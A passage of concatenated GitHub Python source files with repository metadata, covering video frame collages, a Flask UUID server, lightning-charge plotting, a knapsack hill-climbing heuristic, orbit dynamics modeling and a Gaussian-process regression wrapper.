7\n # (Number of frames in the video file)\n total_frames = cap.get(7)\n # CAP_PROP_POS_MSEC - ordinal of 0\n # (Current position of the video file in milliseconds.)\n cap.set(0, posMsec)\n ret, frame = cap.read()\n if ret:\n cv.imwrite(outFilepath, frame)\n else:\n raise Exception(\"Frame not found in video\")\n\n\ndef outFrameFolder(filepath: str, posMsecArray: List[int], folderName: str) -> None:\n \"\"\"\n Extracts multiple frames from a video and then copies it to a folder\n \"\"\"\n folderPath = f\"./{folderName}\"\n if not os.path.exists(folderPath):\n os.makedirs(folderPath)\n for index, posMsec in enumerate(posMsecArray):\n outFrame(filepath, posMsec, f\"{folderName}/frame{index}.png\")\n\n\ndef videoPosToMillisecond(videoPos: str) -> int:\n \"\"\"\n Converts hh:mm:ss.ms to milliseconds\n that is used in other function\n \"\"\"\n milliseconds = 0.0\n hour, minute, second = tuple([float(strNum)\n for strNum in videoPos.split(\":\")])\n milliseconds += hour * 60 * 60 * 1000\n milliseconds += minute * 60 * 1000\n milliseconds += second * 1000\n return round(milliseconds)\n\n\ndef makeCollage(column: int, framePaths: List[str], outFilepath) -> None:\n \"\"\"\n Uses the image filepaths to create an image collage which is outputted to outFilepath\n \"\"\"\n firstImage = Image.open(framePaths[0])\n width, height = firstImage.size\n frameWidth = width * column\n frameHeight = height * (round(len(framePaths) / column))\n frame = Image.new(\"RGBA\", (frameWidth, frameHeight))\n xPos = 0\n yPos = 0\n for framePath in framePaths:\n tempImage = Image.open(framePath)\n frame.paste(tempImage, (xPos, yPos))\n xPos += width\n if xPos >= frameWidth:\n xPos = 0\n yPos += height\n # Remember to include file extension in the outFilepath as well\n frame.save(outFilepath, format=\"png\")\n\n\nif __name__ == \"__main__\":\n # new_array = [\"00:01:00\", \"00:02:09.80\", \"00:03:00\", \"00:04:00\",\n # \"00:05:00\", \"00:06:00\", \"00:07:00\", \"00:08:00\", \"00:09:00\"]\n # new_array = [videoPosToMillisecond(string) for string in new_array]\n # outFrameFolder(\"./test1.mkv\", new_array, \"temp\")\n framePaths = [\"./temp/frame0.png\", \"./temp/frame1.png\", \"./temp/frame2.png\", \"./temp/frame3.png\",\n \"./temp/frame4.png\", \"./temp/frame5.png\", \"./temp/frame6.png\", \"./temp/frame7.png\", \"./temp/frame8.png\"]\n makeCollage(3, framePaths, \"./out.png\")\n","repo_name":"p4ckysm4cky/3x3_image_collage","sub_path":"src/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":2858,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"1986507409","text":"from flask import Flask, jsonify\nimport random\nimport string\nimport datetime\nimport time\nimport threading\nimport uuid\n\napp = Flask(__name__)\n\n# Initialize variables\ncurrent_timestamp = datetime.datetime.utcnow().strftime(\"%Y-%m-%dT%H:%M:%S.%fZ\")\ncurrent_uuid = 'Initial UUID'\n\n\n# Function to update timestamp and UUID in the background\ndef update_values():\n global current_timestamp, current_uuid\n while True:\n current_uuid = str(uuid.uuid4())\n current_timestamp = datetime.datetime.utcnow().strftime(\"%Y-%m-%dT%H:%M:%S.%fZ\")\n time.sleep(5)\n\n\n# Start a background thread to continuously update values\nupdate_thread = threading.Thread(target=update_values)\nupdate_thread.daemon = True\nupdate_thread.start()\n\n\n@app.route('/')\ndef index():\n response = f\"{current_timestamp}: {current_uuid}\"\n return response\n\n\nif __name__ == '__main__':\n app.run(host='0.0.0.0', port=8080)\n","repo_name":"Numbers00/uh-devops-with-kubernetes","sub_path":"part1/exer1.07/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":906,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"24096082716","text":"##\n# Histogram plotter from chargepol data.\n# Author : David Rodriguez Sanchez\n# Date : Mar 03 2023\n# Desc : Using a chargepol .csv file, I will be creating a map that plots the position of the event on a map of htx\n#\n# Dependencies : seaborn, numpy, matplotlib, Python 3.6+, plotly-geo, geopandas, pyshp, shapely\n# Usage :: python3 scatterMap.py \n##\nimport os.path\n\nimport matplotlib.pyplot as plt\n\ndef createAltitudelist(data, time=None):\n # if data.keys() not in [\"Timestamp\", \"Charge\", \"Location\"]:\n # print(\"Invalid HLMA File, please contact David Rodriguez\")\n # exit(2)\n\n negAlt = [[],[]] # Index 0 are all longitudes, index 1 are all latitudes\n posAlt = [[],[]]\n\n if time == None:\n for index, event in enumerate(data['Charge']):\n if(event[0] == 'pos'):\n posAlt[0].append(data[\"Timestamp\"][index])\n posAlt[1].append(event[1])\n else:\n negAlt[0].append(data[\"Timestamp\"][index])\n negAlt[1].append(event[1])\n else:\n for index, event in enumerate(data['Charge']):\n if event[0] == 'pos' and withinInterval(time, data[\"Timestamp\"][index]):\n posAlt[0].append(data[\"Timestamp\"][index])\n posAlt[1].append(event[1])\n elif event[0] == 'neg' and withinInterval(time, data[\"Timestamp\"][index]):\n negAlt[0].append(data[\"Timestamp\"][index])\n negAlt[1].append(event[1])\n\n return (negAlt, posAlt)\n\ndef withinInterval(timeInfo, timePoint) -> bool:\n return (timePoint > timeInfo[0] and timePoint < (timeInfo[0] + timeInfo[1]))\n\n\ndef plotScatterMap(HLMAdata = None, figurePath = None, returnFigure = False, ax = None, timeInfo = None, makeVertical=False):\n if ax == None:\n ax = plt.gca()\n\n if timeInfo != None:\n neg, pos = createAltitudelist(HLMAdata, timeInfo)\n else:\n neg, pos = createAltitudelist(HLMAdata)\n\n if makeVertical:\n ax.scatter(x=neg[1], y=neg[0], s=8, linewidth=.625, color=[0.062, 0.019, 1], marker=\"_\")\n ax.scatter(x=pos[1], y=pos[0], s=8, linewidth=.625, color=[1, 0.062, 0.019], marker=\"+\")\n else:\n ax.scatter(x=neg[0], y=neg[1], s=8, linewidth=.625, color=[0.062, 0.019, 1], marker=\"_\")\n ax.scatter(x=pos[0], y=pos[1], s=8, linewidth=.625, color=[1, 0.062, 0.019], marker=\"+\")\n\n\n plt.xlabel(\"Time UTC (sec)\")\n plt.ylabel(\"Altitude (km)\")\n\n return ax\n","repo_name":"Starcity1/Figure_chargepol","sub_path":"src/create_scatter_plot.py","file_name":"create_scatter_plot.py","file_ext":"py","file_size_in_byte":2472,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"13253099036","text":"from importlib.resources import contents\nimport pandas as pd\nimport random\n\n########### Convert CSV to DataFrame ########### \n\n# Show full width and height of dataframe\npd.set_option('display.max_colwidth', None)\npd.set_option('display.max_rows', None)\n\n# Converting csv to data frame. Total weight of items = 2621kg\n\ndata = pd.read_csv(\"knapsack.csv\")\n# Find \"true weight\" ratio of each item; values divided by weights\ndata_true = data\ndata_true[\"true value\"] = data_true[\"values\"] / data_true[\"weights\"]\n\n########### Knapsack Bag Initialisations ########### \n\nbag_weight = 0\nbag_value = 0\nbag_contents = []\nbag_leftovers = []\nbag_capacity = 1500 \n \n########### Step 1: Initial Solution: Greedy start from higher true value ########### \n\n\n# Sort items in descending order based on true value to help with greedy start\ndata_true = data_true.sort_values('true value',ascending=False)\n# Add 1 to index so item numbers start from 1 not 0\ndata_true.index += 1\n# print(data_true)\n\n# Iterate 1st time through each item in the dataframe from largest true value down to smallest\nfor index, row in data_true.iterrows():\n # print (index, row[\"weights\"], row[\"values\"], row[\"true value\"])\n# If current weight of bag + weight of new item is less than 1200kg\n if bag_weight + row[\"weights\"] <= bag_capacity:\n # Add to bag\n bag_contents.append(index)\n # Then increase current bag weight & value\n bag_weight += row[\"weights\"]\n bag_value += row[\"values\"]\n else:\n # Skipped items goes into the bag_leftovers (to iterate over the next time)\n bag_leftovers.append(index)\n\n# Iterate 2nd time through the bag_leftovers again to see if anything can be added \nfor item in bag_leftovers:\n # Iterate through dataframe of bag items\n for index, row in data_true.iterrows():\n # If the item in leftover bag is the same as dataframe item (to find the weight and value)\n # And if the weight of that item + current weight is less than maximum capacity\n if (item == index) & (bag_weight + row[\"weights\"] <= bag_capacity):\n # Find the weight of item and add it to bag\n bag_weight += row[\"weights\"]\n bag_value += row[\"values\"] \n # Add item to the bag_contents \n bag_contents.append(index)\n # Remove from bag_leftovers\n bag_leftovers.remove(item)\n\n\n\n########### Calculating bag items ###########\n\ndef calculateTotalWeight(bag):\n total_weight = 0\n for item in bag:\n # Iterate through dataframe of bag items\n for index, row in data_true.iterrows():\n if (item == index):\n total_weight += row[\"weights\"]\n return total_weight\n\ndef calculateTotalValue(bag):\n total_value = 0\n for item in bag:\n # Iterate through dataframe of bag items\n for index, row in data_true.iterrows():\n if (item == index):\n total_value += row[\"values\"]\n return total_value\n\ndef calculateWeight(item):\n for index, row in data_true.iterrows():\n if (item == index):\n return row[\"weights\"]\n \ndef calculateValue(item):\n for index, row in data_true.iterrows():\n if (item == index):\n return row[\"values\"]\n \ndef calculateTrueValue(item):\n for index, row in data_true.iterrows():\n if (item == index):\n return row[\"true value\"]\n \n########### Testing stuff out ###########\n\ncalculateWeight(bag_leftovers) \nprint(\"Start solution: \", bag_contents) \nprint(\"Items leftover: \", bag_leftovers) \nprint(\"Start weight: \", bag_weight, \"Start value: \", bag_value)\n\n \n########### Step 2: Neighbourhood operator: random swap each item from leftovers with a random bag item ########### \n\n\ndef swap(contents, leftovers):\n \n # Deep copy bag contents of knapsack and leftovers into temporary bag\n temp_bag = contents.copy()\n temp_leftovers = leftovers.copy()\n \n # Get a random item in bag\n remove_item = random.choice(temp_bag)\n remove_weight = calculateWeight(remove_item)\n # print(\"Item removed:\", remove_item, \"Weight: \", remove_weight)\n \n # Iterate through the items in the left overs to swap them in\n for index, item in enumerate(bag_leftovers):\n \n # Create a dictionary to append new values to \n items_swapped = {}\n \n # If the weight of item from leftover is same or smaller than weight of randomly select bag item\n if calculateWeight(item) <= remove_weight:\n # print(\"Item added:\", item, \"Weight: \", calculateWeight(item))\n # Then remove random item from bag\n temp_bag.remove(remove_item)\n # Add NEW item from left over bag to the bag\n temp_bag.append(item)\n # Remove from leftover bag\n temp_leftovers.remove(item)\n \n # Append new items to dictionary & calculate weight, values etc\n items_swapped[\"Removed\"] = remove_item\n items_swapped[\"Added\"] = item\n items_swapped[\"Value\"] = calculateTotalValue(temp_bag)\n items_swapped[\"Weight\"] = calculateTotalWeight(temp_bag)\n items_swapped[\"Solution\"] = temp_bag\n \n # Print out dict of info for items swapped\n # print(items_swapped)\n # Breaks out of the lopp to return the new bag as a dict\n return items_swapped\n \n \n \n # Calculate new bag\n\n\n########### Step 3: Show all neighbourhood solutions ########### \n\n# Create a new function that you can set the iterations for\ndef steepestAscent(contents, leftovers, iterations):\n \n count = 0\n # Create an empty dataframe with wanted columns\n swapped_df = pd.DataFrame(columns=[\"Removed\", \"Added\",\"Value\", \"Weight\", \"Solution\"])\n \n # Append the FIRST (greedy) solution to Dataframe\n start_items_dict = {\"Removed\":0,\"Added\":0,\"Value\":calculateTotalValue(contents),\"Weight\":calculateTotalWeight(contents),\"Solution\":contents};\n swapped_df = swapped_df.append(start_items_dict, ignore_index=True)\n\n while count < iterations:\n # Creates swapped item dict\n swapped_dict = swap(contents, leftovers)\n # Append dict to a dataframe\n swapped_df = swapped_df.append(swapped_dict, ignore_index=True)\n # Create a new dataframe with only solutions - ready for graphs\n swapped_solutions = swapped_df[[\"Value\", \"Solution\"]]\n count += 1\n \n # Move index from 0 to 1 for better visual purpose // removed as decided to start the start solution at 0\n # swapped_df.index += 1\n # swapped_solutions.index += 1\n return swapped_df\n\n\n########### Step 4: Pick the best solution ########### \n\nsolutions = steepestAscent(bag_contents, bag_leftovers, 31)\n\n# Export to CSV\nsolutions.to_csv(r'knapsack-steepest-ascent.csv')\n\n\n# Remove solution from dataframe \nbest_solution = solutions[[\"Value\", \"Solution\"]].sort_values(by='Value', ascending=False)\nprint(best_solution)","repo_name":"LoveBexa/applied-ai","sub_path":"Steepest Ascent Hill Climbing/knapsack-steepest-hill.py","file_name":"knapsack-steepest-hill.py","file_ext":"py","file_size_in_byte":7017,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"9330925582","text":"from ozone.api import ODEProblem\nfrom csdl import Model\nimport csdl\nimport numpy as np\n\nmu = 398600.44\nRe = 6378.137\nJ2 = 1.08264e-3\nJ3 = -2.51e-6\nJ4 = -1.60e-6\n\nB = -(3 / 2 * mu * J2 * Re**2)\nC = -(5 / 2 * mu * J3 * Re**3)\nD = (15 / 8 * mu * J4 * Re**4)\n\n\ndef f(rmag, rz, r):\n return (-mu / rmag**3 + B / rmag**5 *\n (1 - 5 * rz**2 / rmag**2) + C / rmag**7 *\n (3 * rz - 7 * rz**3 / rmag**2) + D / rmag**7 *\n (1 - 14 * rz**2 / rmag**2 + 21 * rz**4 / rmag**4)) * r\n\n\ndef g(rmag, rz):\n return (2 * B / rmag**5 + C / rmag**7 * (3 * rz) + D / rmag**7 *\n (4 - 28 / 3 * rz**2 / rmag**2)) * rz - 3 / 5 * C / rmag**5\n\n\nclass ReferenceOrbitDynamics(Model):\n\n def initialize(self):\n self.parameters.declare('num_nodes', types=int)\n\n def define(self):\n n = self.parameters['num_nodes']\n\n r = self.create_input('r', shape=(n, 6))\n rz = r[:, 2]\n rz_n3 = csdl.expand(csdl.reshape(rz, (n, )), (n, 3), 'i->ij')\n\n pos = r[:, :3]\n\n rmag_flat = csdl.pnorm(r[:, :3], axis=1)\n rmag = csdl.reshape(rmag_flat, (n, 1))\n rmag_n3 = csdl.expand(rmag_flat, (n, 3), 'i->ij')\n\n a = f(rmag_n3, rz_n3, pos)\n b = g(rmag, rz)\n\n dr_dt = self.create_output('dr_dt', shape=(n, 6))\n dr_dt[:, :3] = r[:, 3:]\n dr_dt[:, 3] = a[:, 0]\n dr_dt[:, 4] = a[:, 1]\n dr_dt[:, 5] = a[:, 2] + b\n\n\nclass ReferenceOrbitTrajectory(Model):\n\n def initialize(self):\n self.parameters.declare('num_times', types=int)\n self.parameters.declare('r_0', types=np.ndarray)\n\n def define(self):\n num_times = self.parameters['num_times']\n r_0 = self.parameters['r_0']\n\n eccentricity = 0.001\n # 450-550 km altitude\n periapsis = Re + 450.\n semimajor_axis = periapsis / (1 - eccentricity)\n\n self.create_input('r_0', val=r_0, shape=(6, ))\n\n reference_orbit = ODEProblem('RK4', 'time-marching', num_times)\n reference_orbit.add_state('r',\n 'dr_dt',\n shape=(6, ),\n initial_condition_name='r_0',\n output='orbit_state')\n reference_orbit.add_times(step_vector='h')\n reference_orbit.set_ode_system(ReferenceOrbitDynamics)\n\n self.add(reference_orbit.create_solver_model())\n\n\nif __name__ == \"__main__\":\n import matplotlib.pyplot as plt\n from csdl import GraphRepresentation\n from python_csdl_backend import Simulator\n from matplotlib import rc\n\n rc('text', usetex=True)\n\n num_orbits = 30\n duration = 90\n step_size = 19.\n num_times = int(duration * 60 * num_orbits / step_size)\n r_0 = np.array([-6257.51, 354.136, 2726.69, 3.08007, 0.901071, 6.93116])\n\n class OrbitTest(Model):\n\n def initialize(self):\n self.parameters.declare('num_times', types=int)\n self.parameters.declare('step_size', types=float)\n\n def define(self):\n num_times = self.parameters['num_times']\n step_size = self.parameters['step_size']\n self.create_input('h', val=step_size, shape=(num_times - 1, ))\n self.add(ReferenceOrbitTrajectory(\n num_times=num_times,\n r_0=r_0,\n ))\n\n rep = GraphRepresentation(\n OrbitTest(\n num_times=num_times,\n step_size=step_size,\n ), )\n sim = Simulator(rep, mode='rev')\n sim.run()\n # sim.compute_total_derivatives()\n # exit()\n # print(sim['reference_orbit_state_km'])\n\n fig = plt.figure()\n ax = fig.add_subplot(projection='3d')\n r = sim['orbit_state']\n x = r[:, 0]\n y = r[:, 1]\n z = r[:, 2]\n ax.plot(x, y, z)\n ax.plot(x[0], y[0], z[0], 'o')\n ax.set_xlabel('X [km]')\n ax.set_ylabel('Y [km]')\n ax.set_zlabel('Z [km]')\n plt.title('Position of Spacecraft in Sun-synchronous Low Earth Orbit')\n plt.show()\n","repo_name":"LSDOlab/talos","sub_path":"talos/disciplines/orbit/reference_orbit.py","file_name":"reference_orbit.py","file_ext":"py","file_size_in_byte":3963,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"33043020156","text":"import GPy\nimport libs.utils.gpy_estimation_lib as gpy_estimation_lib\nimport libs.utils.initialisor as initialisor\nimport libs.transformations as transfo\nimport numpy as np\nimport scipy.stats\nimport math\nfrom scipy.stats import norm\n\n\nclass CustomGPy():\n eps = 0.001\n is_zero_mean = False\n\n __slots__ = ['lengthscale_constraint', 'variance_constraint',\n 'init', 'optim_opts', 'kernel_function', 'mean_function',\n 'model', 'status', '_input_values', '_output_values', 'loo_mean',\n 'loo_var', 'MGE', 'AGE', 'untrained_variance', 'untrained_lengthscale',\n 'fix_noise', 'fix_var', 'profiler', 'do_profiling', 'postvar_options',\n '_input_ordinates', '_input_factors', '_output_ordinate', '_output_factor',\n 'input_transform_type', 'output_transform_type']\n\n def __init__(self,\n lengthscale_constraint_class=transfo.Exponent,\n variance_constraint_class=transfo.Exponent,\n init=\"classic\", stopping_criterion=\"strict\",\n optim_scheme=[[10, 3.0], [2, 1.0], [2, 1.0]],\n untrained_variance=1, untrained_lengthscale=1,\n fix_noise=True, fix_var=False,\n profiler=gpy_estimation_lib.analytical_mean_and_variance_optimization,\n postvar_options={\"value\": 0, \"type\": 'Error'},\n input_transform_type='Hypercube',\n output_transform_type='Standardize',\n do_profiling=True\n ):\n\n self.input_transform_type = input_transform_type\n self.output_transform_type = output_transform_type\n\n self.untrained_variance = untrained_variance\n self.untrained_lengthscale = untrained_lengthscale\n\n self.set_parametrization(\n lengthscale_constraint_class,\n variance_constraint_class,\n )\n\n if init in ['brutal', 'classic', 'scaled_anisotropic_init',\n 'classic_profiled', 'custom']:\n self.init = init\n else:\n raise ValueError('Unknown method : {}'.format(init))\n\n assert not (fix_var and profiler is not None)\n\n self.set_optim_opts(\n stopping_criterion=stopping_criterion,\n optim_scheme=optim_scheme,\n do_profiling=do_profiling,\n profiler=profiler\n )\n\n assert fix_noise, 'Not implemented yet'\n\n self.fix_noise = fix_noise\n self.fix_var = fix_var\n self.postvar_options = postvar_options\n\n self.kernel_function = None\n self.mean_function = None\n self.model = None\n self._input_values = None\n self._output_values = None\n self.loo_mean = None\n self.loo_var = None\n self.MGE = None\n self.AGE = None\n self.status = None\n\n # --------------------------------------------------------------------------\n def set_optim_opts(self, stopping_criterion, optim_scheme, do_profiling, profiler):\n if stopping_criterion == 'strict':\n gtol = 10 ** (-20)\n bfgs_factor = 10\n elif stopping_criterion == 'soft':\n gtol = None\n bfgs_factor = None\n elif stopping_criterion == 'intermediate':\n gtol = 10 ** (-14)\n bfgs_factor = 10\n else:\n raise ValueError(\"Unknown stopping criterion setting : {}.\".format(stopping_criterion))\n\n self.profiler = profiler\n self.do_profiling = do_profiling\n\n self.optim_opts = {\n 'optim_scheme': optim_scheme,\n 'gtol': gtol,\n 'bfgs_factor': bfgs_factor\n }\n\n # --------------------------------------------------------------------------\n def set_parametrization(\n self,\n lengthscale_constraint_class,\n variance_constraint_class,\n ):\n\n self.lengthscale_constraint = lengthscale_constraint_class()\n assert (self.lengthscale_constraint.domain == transfo.domains._POSITIVE)\n\n self.variance_constraint = variance_constraint_class()\n assert (self.variance_constraint.domain == transfo.domains._POSITIVE)\n\n # --------------------------------------------------------------------------\n def set_kernel(self):\n\n # Create a kernel function object with default parametrizations\n self.kernel_function\\\n = GPy.kern.Matern52(input_dim=self._input_values.shape[1],\n variance=self.untrained_variance,\n lengthscale=self.untrained_lengthscale, ARD=True)\n\n # Set parametrization and/or constraints for the range parameters\n self.kernel_function\\\n .lengthscale.constrain(transform=self.lengthscale_constraint)\n\n # Set parametrization and/or constraints for the variance parameter\n self.kernel_function\\\n .variance.constrain(transform=self.variance_constraint)\n\n if self.fix_var:\n self.kernel_function.variance.fix()\n\n def transform_input(self, x):\n tiled_ordinates = np.tile(self._input_ordinates, reps=[x.shape[0], 1])\n tiled_factors = np.tile(self._input_factors, reps=[x.shape[0], 1])\n\n assert x.shape == tiled_ordinates.shape and x.shape == tiled_factors.shape\n\n return (x - tiled_ordinates)/tiled_factors\n\n def scale_input_back(self, x):\n assert x.shape == self._input_factors.shape\n return x * self._input_factors\n\n def transform_output(self, y):\n assert isinstance(self._output_ordinate, float) and isinstance(self._output_factor, float)\n\n return (y - self._output_ordinate)/self._output_factor\n\n def transform_post_mean(self, y):\n assert isinstance(self._output_ordinate, float) and isinstance(self._output_factor, float)\n\n return y*self._output_factor + self._output_ordinate\n\n def transform_post_var(self, var):\n assert isinstance(self._output_factor, float)\n\n return (self._output_factor**2) * var\n\n # ---------------------------------------------------------------------------\n def set_data(self, input_data, output_data):\n assert isinstance(input_data, np.ndarray) and isinstance(output_data, np.ndarray)\n assert input_data.ndim == 2 and output_data.ndim == 2\n assert input_data.shape[0] == output_data.shape[0] and output_data.shape[1] == 1\n\n if self._input_values is not None:\n if input_data.shape[1] != self._input_values.shape[1]:\n print('Warning : X dimensionality differs from original data. Cleaning the model.')\n self.clean()\n\n if self._input_values is None:\n self.store_normalizers(input_data, output_data)\n\n self._input_values = self.transform_input(input_data)\n self._output_values = self.transform_output(output_data)\n\n self.check_training_type()\n\n if self.model is None:\n self.re_build_model()\n else:\n self.repair_model()\n\n # ---------------------------------------------------------------------------\n def store_normalizers(self, input_data, output_data):\n if self.input_transform_type == 'Hypercube':\n self._input_ordinates = input_data.min(0)\n self._input_factors = input_data.max(0) - input_data.min(0)\n elif self.input_transform_type == 'None':\n self._input_ordinates = np.zeros(input_data.shape[1])\n self._input_factors = np.ones(input_data.shape[1])\n elif self.input_transform_type == 'Standardize':\n self._input_ordinates = input_data.mean(0)\n self._input_factors = input_data.std(0)\n else:\n raise ValueError(self.input_transform_type)\n\n if self.output_transform_type == 'Standardize':\n self._output_ordinate = output_data.mean()\n self._output_factor = output_data.std()\n elif self.output_transform_type == 'None':\n self._output_ordinate = 0.0\n self._output_factor = 1.0\n else:\n raise ValueError(self.output_transform_type)\n\n # ---------------------------------------------------------------------------\n def re_build_model(self):\n self.check_training_type()\n\n self.mean_function = GPy.mappings.constant.Constant(input_dim=self._input_values.shape[1], output_dim=1, value=0.0)\n\n self.set_kernel()\n\n self.repair_model()\n\n self.loo_mean = None\n self.loo_var = None\n self.MGE = None\n self.AGE = None\n self.status = \"Untrained\"\n\n # ---------------------------------------------------------------------------\n def repair_model(self):\n self.check_training_type()\n\n self.model = GPy.models.GPRegression(self._input_values, self._output_values, kernel=self.kernel_function,\n Y_metadata=None, normalizer=None,\n noise_var=0, mean_function=self.mean_function)\n\n if self.fix_noise:\n self.model.Gaussian_noise.variance.fix()\n\n self.loo_mean = None\n self.loo_var = None\n self.MGE = None\n self.AGE = None\n self.status = \"Untrained\"\n\n # ---------------------------------------------------------------------------\n def initialize(self):\n self.check_training_type()\n\n init_opts = {'fix_var': self.fix_var, 'profiler': self.profiler, 'is_zero_mean': self.is_zero_mean}\n\n if self.init == 'scaled_anisotropic_init':\n self.model = initialisor.grid_init(self.model, isotropic=False, **init_opts)\n elif self.init == 'classic':\n self.model = initialisor.std_init(\n self.model,\n use_dimension=True,\n profiler=None,\n fix_var=self.fix_var,\n is_zero_mean=self.is_zero_mean\n )\n elif self.init == 'classic_profiled':\n self.model = initialisor.std_init(self.model, use_dimension=True, **init_opts)\n elif self.init in ['custom', 'brutal']:\n pass\n else:\n raise NotImplementedError('{} init method'.format(self.init))\n\n # ---------------------------------------------------------------------------\n def train(self):\n if self.init == 'brutal':\n self.model, self.status = gpy_estimation_lib.brutal_train(\n self.model,\n n=self.optim_opts['optim_scheme'][0][0],\n profiler=self.profiler\n )\n else:\n self.initialize()\n\n self.check_training_type()\n\n assert not (self.fix_var and self.profiler is not None)\n\n if self.do_profiling:\n trainer_profiler = self.profiler\n else:\n trainer_profiler = None\n\n self.model, self.status = gpy_estimation_lib.trainer(\n self.model,\n options=self.optim_opts,\n profiler=trainer_profiler\n )\n\n self.loo_mean = None\n self.loo_var = None\n self.MGE = None\n self.AGE = None\n\n # ---------------------------------------------------------------------------\n def predict(self, data):\n self.check_testing_type(data)\n\n y_pred, var = self.model.predict(self.transform_input(data))\n\n if np.any(var < self.postvar_options['value']):\n if self.postvar_options['type'] == 'Error':\n raise ValueError(\"Variance below threshold : {}\".format(self.postvar_options['value']))\n elif self.postvar_options['type'] == 'truncate':\n var[var < self.postvar_options['value']] = self.postvar_options['value']\n elif self.postvar_options['type'] == 'None':\n pass\n else:\n raise ValueError(self.postvar_options['type'])\n\n return self.transform_post_mean(y_pred), self.transform_post_var(var)\n\n # ---------------------------------------------------------------------------\n def get_cdf(self, x, data):\n y_pred, y_var = self.predict(data)\n\n assert y_pred.shape == y_var.shape, \"Shape issue\"\n assert isinstance(x, float), \"x must be float\"\n\n y_sd = np.vectorize(math.sqrt)(y_var)\n\n return scipy.stats.norm.cdf((x - y_pred)/y_sd)\n\n # ---------------------------------------------------------------------------\n def get_y_quantiles(self, q, data):\n y_pred, y_var = self.predict(data)\n\n assert y_pred.shape == y_var.shape, \"Shape issue\"\n assert isinstance(q, float), \"x must be float\"\n\n return norm.ppf(q, loc=y_pred, scale=np.vectorize(math.sqrt)(y_var))\n\n # ---------------------------------------------------------------------------\n def get_gaussian_normalized(self, data, truth):\n y_pred, y_var = self.predict(data)\n\n assert truth.shape == y_var.shape and truth.shape == y_pred.shape, \"Shape issue\"\n\n return (truth - y_pred) / np.vectorize(math.sqrt)(y_var)\n\n # ---------------------------------------------------------------------------\n def sample_y(self, data, n_samples=1):\n self.check_testing_type(data)\n\n y_pred = self.model.posterior_samples(X=self.transform_input(data), size=n_samples)\n\n return self.transform_post_mean(y_pred)\n\n # ---------------------------------------------------------------------------\n def get_loo_mean(self):\n if self.loo_mean is None:\n self.set_loo_posterior_metrics()\n return self.loo_mean\n\n # ---------------------------------------------------------------------------\n def get_loo_var(self):\n if self.loo_var is None:\n self.set_loo_posterior_metrics()\n return self.loo_var\n\n # ---------------------------------------------------------------------------\n def get_age(self):\n if self.AGE is None:\n self.set_loo_posterior_metrics()\n return self.AGE\n\n # ---------------------------------------------------------------------------\n def get_mge(self):\n if self.MGE is None:\n self.set_loo_posterior_metrics()\n return self.MGE\n\n # ---------------------------------------------------------------------------\n def set_loo_posterior_metrics(self):\n g = self.model.posterior.woodbury_vector\n c = self.model.posterior.woodbury_inv\n y = self.model.Y_normalized\n\n c_diag = np.diag(c)[:, None]\n\n assert isinstance(g, np.ndarray) and isinstance(c_diag, np.ndarray) \\\n and isinstance(y, np.ndarray), 'Type issue'\n assert g.shape == c_diag.shape and y.shape == g.shape, \"Shape issue\"\n\n mu = y - g / c_diag\n var = 1 / c_diag\n\n self.loo_mean = mu\n self.loo_var = var\n\n assert self._output_values.shape == self.loo_mean.shape, \"Shape issue\"\n\n self.AGE = 100 * np.mean(\n abs(self.loo_mean - self._output_values) / (self._output_values.max() - self._output_values.min()))\n self.MGE = 100 * np.max(\n abs(self.loo_mean - self._output_values) / (self._output_values.max() - self._output_values.min()))\n\n # ---------------------------------------------------------------------------\n def check_training_type(self):\n if not (isinstance(self._input_values, np.ndarray) and isinstance(self._output_values, np.ndarray)):\n raise TypeError(\"Input and output values should be numpy arrays. They are respectively {}, {}\".format(\n type(self._input_values), type(self._output_values)))\n\n def check_testing_type(self, data):\n if not isinstance(data, np.ndarray):\n raise TypeError(\"Input and output values should be numpy arrays, not {}\".format(type(data)))\n\n assert data.shape[1] == self._input_values.shape[1]\n\n # ---------------------------------------------------------------------------\n def clean(self):\n self.model = None\n self.kernel_function = None\n self.mean_function = None\n self._input_values = None\n self._output_values = None\n self.loo_mean = None\n self.loo_var = None\n self.MGE = None\n self.AGE = None\n self.status = \"Untrained\"\n\n self.clean_normalization()\n\n # ---------------------------------------------------------------------------\n def clean_normalization(self):\n self._input_ordinates = None\n self._input_factors = None\n\n self._output_ordinate = None\n self._output_factor = None\n\n # ---------------------------------------------------------------------------\n def __str__(self):\n if self.model is not None:\n return self.model.__str__() + \"\\n\" + self.model.kern.lengthscale.__str__()\n else:\n return \"Model unset for now.\"\n\n # ---------------------------------------------------------------------------\n def get_c_mean(self):\n if self.model is None:\n raise ValueError(\"Model is None, data probably hasnt been defined.\")\n else:\n return self.transform_post_mean(self.model.constmap.C.values.copy())\n\n # ---------------------------------------------------------------------------\n def get_c_var(self):\n if self.model is None:\n raise ValueError(\"Model is None, data probably hasnt been defined.\")\n else:\n return self.transform_post_var(self.model.kern.variance.values.copy())\n\n # ---------------------------------------------------------------------------\n def get_ls(self):\n if self.model is None:\n raise ValueError(\"Model is None, data probably hasnt been defined.\")\n else:\n std_ls = self.model.kern.lengthscale.values.copy()\n\n return self.scale_input_back(std_ls)\n\n # # ---------------------------------------------------------------------------\n # def set_ls(self, value):\n # if self.model is None:\n # raise ValueError(\"Model is None, data probably hasnt been defined.\")\n # else:\n # gpy_estimation_lib.set_gpy_model_ls(self.model, value)\n\n # ---------------------------------------------------------------------------\n def get_status(self):\n if self.status is None:\n raise ValueError(\"Status is None, data probably hasnt been defined.\")\n else:\n return self.status\n\n # ---------------------------------------------------------------------------\n def get_objective_value(self):\n if self.model is None:\n raise ValueError(\"Model is None, data probably hasnt been defined.\")\n else:\n return self.model.objective_function() + 0.5*self._output_values.shape[0]*math.log(self._output_factor**2)\n\n # ---------------------------------------------------------------------------\n def get_rkhs_semi_norm(self):\n raise NotImplementedError(\"Be carefull, m may not be the IK's one\")\n\n # ---------------------------------------------------------------------------\n def plot_warping(self):\n pass\n\n # ---------------------------------------------------------------------------\n def to_dict(self):\n raise NotImplementedError\n # model_dict = {}\n # for k in ['param', 'init', 'gtol', 'bfgs_factor', 